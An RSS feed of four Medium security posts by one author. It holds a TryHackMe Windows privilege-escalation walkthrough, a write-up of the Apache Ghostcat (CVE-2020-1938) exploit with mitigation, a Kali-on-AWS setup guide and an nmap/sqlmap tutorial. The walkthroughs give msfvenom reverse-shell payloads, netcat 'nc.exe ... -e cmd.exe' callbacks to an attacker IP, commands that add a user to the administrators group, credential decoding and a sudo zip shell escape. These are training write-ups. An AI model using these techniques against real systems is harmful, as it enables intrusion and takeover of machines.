<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Sushant Kamble on Medium]]></title>
        <description><![CDATA[Stories by Sushant Kamble on Medium]]></description>
        <link>https://medium.com/@sushantkamble?source=rss-ab5831062233------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*n4UstEw5DoRQmj8u-nN1KQ.jpeg</url>
            <title>Stories by Sushant Kamble on Medium</title>
            <link>https://medium.com/@sushantkamble?source=rss-ab5831062233------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 28 Nov 2026 20:14:50 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@sushantkamble/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Windows Privilege Escalation without Metasploit]]></title>
            <link>https://medium.com/@sushantkamble/windows-privilege-escalation-without-metasploit-9bad5fbb5666?source=rss-ab5831062233------2</link>
            <guid isPermaLink="false">https://medium.com/p/9bad5fbb5666</guid>
            <dc:creator><![CDATA[Sushant Kamble]]></dc:creator>
            <pubDate>Sun, 03 May 2020 09:52:44 GMT</pubDate>
            <atom:updated>2020-05-03T09:52:44.397Z</atom:updated>
            <content:encoded><![CDATA[<p>This blog will cover the Windows Privilege Escalation tactics and techniques without using Metasploit :)</p><p>Before I start, I would like to thank the TryHackMe team and Mr. Heath Adams is also known as TheCyberMentor for creating such a good machine.</p><p>You can access the machine below. It’s free and you will be awarded a Windows Priv Esc badge once you complete all the tasks.</p><p><a href="https://tryhackme.com/room/windowsprivescarena">TryHackMe | Windows PrivEsc Arena</a></p><p>The attacking machine available on TryHackMe uses only RDP. So I have created a payload using msfvenom to get an active session of the least privileged user.</p><p>This scenario is suitable when you try to exploit a machine using vulnerability by publicly available exploits and get the least privileged user session and then try to escalate the administrator rights.</p><p>To set up this environment, first create a payload using msfvenom:</p><p>msfvenom -p windows/shell_reverse_tcp lhost=[kali machine IP] lport=443 -f exe -o access.exe</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Towh0lNrwhA28YxYVDSqBQ.png" /></figure><p>Now, transfer it using smberver and get access using Netcat as shown below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/794/1*4sHlyDFDBDeC1mSBOOwHFw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/666/1*zD2ahssRboH21q0hLmL_jQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/777/1*iqVFiZXpFfvMTE9jhnOq3w.png" /></figure><p>Now that we have the least privileged user session, the system is ready to perform the attacks.</p><p>Let’s start one by one:</p><p><strong>1.Registry Escalation — Autorun</strong></p><p>First, copy the accesschk64.exe to the system using smbserver and then copy and run below command:</p><p>accesschk64.exe -wvu “C:\Program Files\Autorun Program”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/989/1*8f3ZT413RWFANx-A6Clubw.png" /></figure><p>You will notice that Everyone has FILE_ALL_ACCESS to program.exe which is an autorun program. This means we can exploit program.exe by creating exploit with the same name.</p><p>To exploit this, generate an exploit using msfvenom and copy to the C:\Program FIles\Autorun Program folder as below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BhhiPcRI-ZvsywTm2XkOvA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/774/1*JYo1AF8c4ApLZwHDFZox-Q.png" /></figure><p>Use Netcat to listen on port 443 and wait for an admin to login. once admin is logged in you will get the admin session.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/921/1*VsKpGZKog2WGbmGi0OBnnA.png" /></figure><p><strong>2.Registry Escalation — AlwaysInstallElevated</strong></p><p>Run the following commands:</p><p>reg query HKLM\Software\Policies\Microsoft\Windows\Installer<br>reg query HKCU\Software\Policies\Microsoft\Windows\Installer</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/870/1*BBIVK37w8HZZTsNfVho-dA.png" /></figure><p>You will notice that AlwaysInstallElevated value is set to 1 which is used to install a Windows Installer package with elevated (system) privileges.</p><p>Now generate payload using msfvenom and transfer it to a temp folder.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/900/1*PUHt9IFZ38TRKTTZiz6oug.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/576/1*GMII1MMpFfS4oRRfKBOTKg.png" /></figure><p>Listen on port 443 using Netcat and run the command:</p><p>msiexec /quiet /qn /i C:\Temp\setup.msi</p><p>You will get an administrator session.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/987/1*OsPI64UIBgRsvhTAWF4Mvg.png" /></figure><p><strong>3.Service Escalation — Registry</strong></p><p>Run the following command to run PowerShell command on cmd:</p><p>%SystemRoot%\sysnative\WindowsPowerShell\v1.0\powershell.exe “Get-Acl -Path hklm:\System\CurrentControlSet\services\regsvc | fl”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EQYgZPS-8he3OAj_sv5kJA.png" /></figure><p>You will notice that the user belongs to “NT AUTHORITY\INTERACTIVE” has “FullContol” permission over the registry key.</p><p>Download the windows_service.c from below link:</p><p><a href="https://github.com/sagishahar/scripts">sagishahar/scripts</a></p><p>Edit the system command and replace it with cmd.exe /k net localgroup administrators user /add</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/829/1*b4M9J7Yg9GEmRRPqyu17Lw.png" /></figure><p>Install gcc-mingw-w64 by sudo apt install gcc-mingw-w64 and compile c file using by<strong> </strong>x86_64-w64-mingw32-gcc windows_service.c -o x.exe</p><p>Transfer the x.exe using smbserver to a temp folder and run:</p><p>reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_SZ /d c:\temp\x.exe /f</p><p>sc start regsvc</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2ImOC2KHVRLyP5bdyk-I1Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/945/1*7rp3MR7FrInMdUYO2vruvQ.png" /></figure><p>You can see the user has been added to the administrator group.</p><p><strong>4.Service Escalation — Executable Files</strong></p><p>First, copy the accesschk64.exe to the system using smbserver and then copy and run:</p><p>accesschk64.exe -wvu “C:\Program Files\File Permissions Service”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BecareWcBjeDT5X-_yRE9A.png" /></figure><p>You will notice that the “Everyone” has “FILE_ALL_ACCESS” permission on the filepermservice.exe file.</p><p>Now generate payload with name as filepermservice.exe using msfvenom</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Db9GNbUyXx9bUE2Ybq4p5Q.png" /></figure><p>Transfer the same using smbserver to the c:\Program Files\File Permissions Service folder and start the service by the command below:</p><p>sc start filepermsvc</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1019/1*PdQy9M3PTIFW7WcYKBLC4Q.png" /></figure><p>Run Netcat on port 443 and you will get administrator session</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/965/1*iJLIOg8zX5k6ZEUPaJpe0w.png" /></figure><p><strong>5.Privilege Escalation — Startup Applications</strong></p><p>Run the following command:</p><p>icacls.exe “C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Zyo67x7lxzkMZwWXUcyPoQ.png" /></figure><p>You will notice that the “BUILTIN\Users” has full access ‘(F)’ to the directory.</p><p>Now generate a payload using msfvenom and transfer it using smbserver to C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup folder</p><p>Now wait for an admin to login and you will get the administrator session</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/966/1*JGu1Q88HfbeclQIegijM_Q.png" /></figure><p><strong>6.Service Escalation — DLL Hijacking</strong></p><p>Download the windows_dll.c from below link:</p><p><a href="https://github.com/sagishahar/scripts">sagishahar/scripts</a></p><p>Edit the windows_dll.c file and add cmd.exe /k net localgroup administrators user /add</p><p>Compile it by 86_64-w64-mingw32-gcc windows_dll.c -shared -o hijackme.dll</p><p>Transfer the x.exe using smbserver to a temp folder and run:</p><p>sc stop dllsvc &amp; sc start dllsvc</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/799/1*tr98SvSNJIgapmezebOcYw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YVb58zJEnd0MciqmaBcQeg.png" /></figure><p>The user will get added to the administrator’s group</p><p><strong>7.Service Escalation — binPath</strong></p><p>Transfer accesschk64.exe using smbserver and run the following command:</p><p>accesschk64.exe -accepteula -wuvc daclsvc</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/668/1*FhoIS-2jjA0t5xp3ub6gLQ.png" /></figure><p>You will notice that the user “User-PC\User” has the “SERVICE_CHANGE_CONFIG” permission.</p><p>Now stop service before adding the command to daclsvc</p><p>sc start daclsvc and sc config daclsvc binpath= “C:\Users\user\Desktop\nc.exe 10.8.4.47 443 -e cmd.exe”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wYM6jTx8ItOGC5u2j_1tDQ.png" /></figure><p>Now transfer nc.exe using smbserver and then start service, you will get an administrator session using Netcat on port 443</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/555/1*Obo2Znb_bEjcF2pu8BKhqA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/877/1*v16cvtaBvm_CboSCxpRImQ.png" /></figure><p><strong>8.Service Escalation — Unquoted Service Paths</strong></p><p>Run the following command:</p><p>sc qc unquotedsvc</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*b_DDhI3_hQNUJ87DyL10qA.png" /></figure><p>You will notice that the “BINARY_PATH_NAME” field displays a path that is not confined between quotes.</p><p>Now generate payload using msfvenom and transfer nc.exe using smbserver</p><p>msfvenom -p windows/exec CMD=’C:\Users\user\Desktop\nc.exe 10.8.4.47 443 -e cmd.exe’ -f exe-service -o common.exe</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2NWvhNL8GqxAwEhr-vJRlw.png" /></figure><p>Transfer payload using smbserver to C:\Program Files\Unquoted Path Service folder</p><p>Now start service and you will get the administrator session on Netcat.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/684/1*jUR8Lk_GRVXutS7b-AOh0g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/873/1*kRrQGfkEtPCUsI6c1O-6Tg.png" /></figure><p><strong>9.Potato Escalation — Hot Potato</strong></p><p>Transfer nc.exe, potato.exe, Nhttp.dll, Sharpcifs.dll using smbserver</p><p>Run the following command:</p><p>Potato.exe -ip 10.10.175.206 -disable_exhaust true -cmd “C:\Users\user\Desktop\nc.exe 10.8.4.47 443 -e cmd.exe”</p><p>Here IP is victim machine IP</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KfWmJhl7SJ0pt5JEXd7XaA.png" /></figure><p>Now listen Netcat on port 443 and wait. You will get an administrator session.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/955/1*QZrW8V51BC4uyrnYHyju7w.png" /></figure><p><strong>10.Password Mining Escalation — Configuration Files</strong></p><p>Open C:\Windows\Panther\Unattend.xml in cmd using the following command:</p><p>type C:\Windows\Panther\Unattend.xml</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/510/1*izF80MH8yFuytMGsqjBvIQ.png" /></figure><p>Decode the value using echo -n “cGFzc3dvcmQxMjM=” |base64 -d</p><p>And you will get the password for admin in cleartext.</p><p>I hope you will find this post helpful especially for those who are planning OSCP in the near future.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9bad5fbb5666" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Apache Ghostcat [CVE-2020–1938]: Explanation and Walkthrough]]></title>
            <link>https://medium.com/@sushantkamble/apache-ghostcat-cve-2020-1938-explanation-and-walkthrough-23a9a1ae4a23?source=rss-ab5831062233------2</link>
            <guid isPermaLink="false">https://medium.com/p/23a9a1ae4a23</guid>
            <category><![CDATA[apache]]></category>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[cat-ghost]]></category>
            <category><![CDATA[tomcat]]></category>
            <category><![CDATA[security]]></category>
            <dc:creator><![CDATA[Sushant Kamble]]></dc:creator>
            <pubDate>Sat, 28 Mar 2020 12:14:07 GMT</pubDate>
            <atom:updated>2020-04-11T11:46:15.213Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Explanation:</strong></p><p>What is apache Ghostcat vulnerability?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/400/1*t5IixYT4wETurzlzRqI43g.png" /></figure><p>Apache Ghostcat is a new vulnerability with High-risk severity discovered by a security researcher of Chaitin Tech in Apache Jserv Protocol(AJP). AJP is an optimized version of the HTTP protocol in binary form and used in scenarios that require clustering or reverse proxies. By default, it is enabled on port 8009. By exploiting this vulnerability an attacker can read any web application files including source code. If the application allows file upload then an attacker can upload any files to the server including malicious Java Server Pages (JSP) and can gain system access.</p><p><strong>Walkthrough of Tomghost on TryHackMe: </strong><a href="https://tryhackme.com/room/tomghost">https://tryhackme.com/room/tomghost</a></p><p>How to detect?</p><p>We can detect this vulnerability by checking /conf/server.xml file.</p><pre>&lt;Connector port=&quot;8009&quot; protocol=&quot;AJP/1.3&quot; redirectPort=&quot;8443&quot;</pre><p>Or run a Nmap scan and check for the open port 8009.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/901/1*8GrBnbJ3ZVoNpi4yyqq3yg.png" /></figure><p>Once we get the open port 8009, use the exploit available on Github.</p><p><a href="https://github.com/00theway/Ghostcat-CNVD-2020-10487">GitHub - 00theway/Ghostcat-CNVD-2020-10487: Ghostcat read file/code execute,CNVD-2020-10487(CVE-2020-1938)</a></p><p>Now, check if the /WEB-INF/web.xml file is readable.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6W8pTyU6aVh5PexLodaF-g.png" /></figure><p>Once we are able to read the file we will get the credential of user skyfuck.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ob7376pYcjJu4ZIDPUJ6fg.png" /></figure><p>Now use the same credentials to SSH.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/803/1*MsMYx8NA4SozragVgWZnvQ.png" /></figure><p>After getting the user shell, it is time for privilege escalation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/411/1*LajBdFTGLtYI-FJcab6pIg.png" /></figure><p>After ls command, we will get a PGP file that needs to be decrypted using a passphrase to get the other user’s credentials.</p><p>Now transfer the files to the local system using SCP to decrypt the PGP file. For this use the user’s credentials which we got earlier.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/951/1*Zoh9RWl3QTBxaIkxB8jNaw.png" /></figure><p>Now use gpg2john to convert the tryhackme.asc file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SavzzokPzox1xkrneiGosQ.png" /></figure><p>After converting the file use JohnTheRipper to crack it. Use rockyou.txt for the same.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sjq-ExyhHARt1mSpQcOB8g.png" /></figure><p>Use the cracked passphrase to decrypt the PGP file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/745/1*vk5gjvTVmA1PYTu3ETNPPQ.png" /></figure><p>Now use the new user’s credentials.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*17ysPvUTbC3Oj9NSdL-jdQ.png" /></figure><p>After logging in with user merlin do sudo -l.</p><p>User merlin has sudo access on zip so check the /usr/bin/zip privilege escalation. To perform privilege escalation we need to create any file and zip it. Then use the below command.</p><p>sudo zip createdfile -T — unzip-command=”sh -c /bin/bash”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FAbe184pZK3RE4NvAhSwJA.png" /></figure><p>How to mitigate?</p><p>Apache released the patched version for Tomcat 7: 7.0.100, 8:8.5.51 and 9:9.0.31.</p><p>After patching a proper secret needs to add to AJP connector configuration in the /conf/server.xml file</p><pre>&lt;Connector port=&quot;8009&quot; protocol=&quot;AJP/1.3&quot; <br>redirectPort=&quot;8443&quot; <br>address=&quot;YOUR_TOMCAT_IP_ADDRESS&quot; <br>secret=&quot;YOUR_TOMCAT_AJP_SECRET&quot; /&gt;</pre><p>If you are not using AJP Connector, simply comment out or delete the declaration in /conf/server.xml.</p><p>If patching/update is not an option then add a requiredSecret field which is not easy to guess.</p><pre>&lt;Connector port=&quot;8009&quot; protocol=&quot;AJP/1.3&quot; <br>redirectPort=&quot;8443&quot; <br>address=&quot;YOUR_TOMCAT_IP_ADDRESS&quot; requiredSecret=&quot;YOUR_TOMCAT_AJP_SECRET&quot; /&gt;</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=23a9a1ae4a23" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How to set up Kali Linux on AWS and use on Any android device [non-rooted]]]></title>
            <link>https://medium.com/@sushantkamble/how-to-set-up-kali-linux-on-aws-and-use-on-any-android-device-non-rooted-a25ce073612a?source=rss-ab5831062233------2</link>
            <guid isPermaLink="false">https://medium.com/p/a25ce073612a</guid>
            <category><![CDATA[kali-linux]]></category>
            <category><![CDATA[ec2]]></category>
            <category><![CDATA[android]]></category>
            <category><![CDATA[aws]]></category>
            <category><![CDATA[amazon]]></category>
            <dc:creator><![CDATA[Sushant Kamble]]></dc:creator>
            <pubDate>Thu, 09 Jan 2020 11:01:08 GMT</pubDate>
            <atom:updated>2020-01-09T11:01:08.350Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>How to set up Kali Linux on AWS and use on Any android device [non-rooted]</strong></p><p>Amazon Web Services provides cloud computing solutions with a t2.micro free tier for the first 12 months.</p><p>Many people face difficulty in installing Kali Linux on android, to do so one can either use a rooted device to install official kali Nethunter or use Termux on the non-rooted device and install it via custom scripts for which it will use the internal storage based on Metapackages.</p><p>Installing Kali Linux on AWS is more preferable as you will get the free public IP to perform penetration testing attacks like using Metasploit or host files to perform CORS attack etc.</p><p>So this blog will cover two things :</p><ol><li>How to set up Kali Linux on EC2 instance.</li><li>Run the instance on any android device [Also use it on any Linux distributions :) ]</li></ol><p>Initially, we need to create an account on Amazon and select the Instances. It will display all the AMIs(Amazon Machine Image) which has OS like Windows and other Linux distributions.</p><p>First, select the Kali Linux image.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*V6ljCqZv31QRGOW7POpVjQ.png" /></figure><p>Once you select the image you can choose the type as per your requirement. Here I have selected t2.micro which is free for the first 12 months from the AWS sign-up date.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4XX8RXAH8xIlluVa6dZAYQ.png" /></figure><p>After that, it will ask you to select an option like, if you want to create an IAM role or other options like select specific available zone such as us-east-2a, us-east-2b.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MDuaaCw0SabTTl8jVeg4uQ.png" /></figure><p>After that, it will ask for additional storage if required and select storage types like SSD or magnetic standard.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NhT9-vA970C5QC4KtH3MhA.png" /></figure><p>Once you have configured storage, it will ask you to add tags if required to identify your AWS resources.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7KAUWrfJWp8kY-lpg85WTA.png" /></figure><p>Now here is an important part of EC2 configuration for networks. By default, you get SSH service which can be accessed by any custom IP, specific IP range or from access it from anywhere.</p><p>To perform testing we require additional ports so we need to add a rule for all TCP and UDP port or you won’t be able to perform any attacks for penetration testing. You can add custom rules to open specific ports as per your requirements.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*M1Gg3ezrdpYPVVneiVrJwg.png" /></figure><p>Once you have configured all the options just review it and launch the instance.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9iEdligPn4IyV_eYBM3d1Q.png" /></figure><p>This is one of the second most important parts of the configuration. Once you have launched the instance you have to download the key pairs.</p><p>Remember: Key pair can be downloaded once only. keys can’t be regenerated again, so download and save it somewhere. In this case, I have saved it on my phone to use it in Termux.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ocIm0Bt9fR2H07frXyz3Iw.png" /></figure><p>Now that you have created the instance you can access the same from your mobile. Amazon has an application that is available for both Android and iOS. This application can be used to check the status of the instance or to perform the actions like start, stop or terminate the instances.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aMjoXJLjnheeVE-maUrlDw.jpeg" /></figure><p>Once you log in with your account select your instance.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-b9TBJPOCqe65poRGhkLGA.jpeg" /></figure><p>When you start the instance you get the Public IP and the DNS address to connect via ssh. Just copy the Public DNS address to your clipboard.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zTspE4KmjqWCzGzXPoIlsQ.jpeg" /></figure><p>So here I have already stored the key file on my device. To access it on phone first enable the storage access to Termux via this command: termux-setup-storage.</p><p>Now, use the below command :</p><p>ssh -i “key.pem” ec2-user@copied-public-dns-address.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*duuzSI1nRDm1Y6OdVam5_Q.jpeg" /></figure><p>Just type su to get the root shell and that’s it, guys. You have successfully launched your first Kali Linux on android via AWS.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a25ce073612a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How to use NMAP effectively for Web Application Penetration Testing]]></title>
            <link>https://medium.com/@sushantkamble/how-to-use-nmap-effectively-for-web-application-penetration-testing-cdf85f9222ea?source=rss-ab5831062233------2</link>
            <guid isPermaLink="false">https://medium.com/p/cdf85f9222ea</guid>
            <category><![CDATA[web-application-security]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[nmap]]></category>
            <category><![CDATA[sql-injection]]></category>
            <category><![CDATA[infosec]]></category>
            <dc:creator><![CDATA[Sushant Kamble]]></dc:creator>
            <pubDate>Sun, 29 Sep 2019 07:49:24 GMT</pubDate>
            <atom:updated>2019-09-30T17:00:29.846Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>How to use NMAP effectively for Web Application Penetration Testing</strong></p><p><strong>Nmap </strong>(network mapper) is an open-source utility which is widely used to perform network scanning and security auditing.</p><p>Nmap uses NSE (Nmap scripting engine) scripts to perform the various activities like OS detection, finding open ports and network vulnerabilities. by using such a script, a tester/attacker can identify if the system is vulnerable to specific vulnerabilities.</p><p>With the network-scripts Nmap also included Web Application based NSE scripts like http-csrf, http-dombased-xss, http-stored-xss, http-phpmyadmin-dir-traversal, http-sql-injection, http-enum etc which are very helpful to identify the vulnerabilities in web applications in a short span of time.</p><p>As we know Web Application Pen-testing is time-consuming and takes a lot of time to identify all vulnerabilities. It is obvious to miss any findings, so by using such scripts we can identify all possible vulnerabilities by reducing the time.</p><p>Below are the few vulnerabilities identified by Nmap while testing:</p><ol><li><strong>SQL Injection</strong></li><li><strong>Enumeration</strong></li></ol><p><strong>SQL Injection:</strong> SQL injection is an attack where an attacker injects malicious queries into the web application to either get access to it or dumping the database.</p><p>Nmap uses <strong>http-sql-injection</strong> nse script to test the SQL Injection. If the application is vulnerable to the SQL Injection, it will display all the possible links on which we can exploit further.</p><p>Below is the Nmap result displays all the possible links which are vulnerable to SQL Injection:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/982/1*2mnGyTHn47-n-hgrjcWnFw.png" /></figure><p>After getting the links, it’s time to verify it. To do so we will use the <strong>SQL map</strong>.</p><p><strong>SQL map</strong> is a free utility to automate the SQL injection attack. Below is the SQL map command used for the same:</p><p>sqlmap.py -u “http://testphp.vulnweb.com/search.php?test=query%27%20OR%20sqlspider” — dbs — batch</p><p>After executing the command, SQL Map starts identifying the database type and then uses SQL injection payloads to attack.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/955/0*w8oUqM3adtyKlRs_" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/962/0*JIJd88Ftfbr48ph1" /></figure><p>After the successful attack, the tool displays the database types and dumps the database.</p><p><strong>HTTP Enumeration</strong>: Enumeration is a process to discover the attack vectors in the system. The attack vectors can be anything like usernames, hostnames or directories in the application.</p><p>Nmap uses <strong>http-enum</strong> nse script to discover all the directories in the application by brute-forcing it. After executing this script it checks the 200 and 401 response from server and displays those results. It also uses <strong>http-enum.displayall</strong> nse script to displays the results on which server has responded 301 and 404.</p><p>Below is the Nmap result displays all the possible directories which can exploit further:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/638/0*MjsLbwLASAFc8_Hr" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/589/0*Sh39E1SirkJz43ia" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/673/0*AeMwNX8bS9ePhUIu" /></figure><p>After getting the result, it can be used to perform the attacks like accessing the admin and system pages, directory listing or path traversal.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Qm3FHBJvA9iw2WDE" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*jYDHCHfbWqSlKFqR" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Y3p3mpKvU9wxK7lW" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=cdf85f9222ea" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>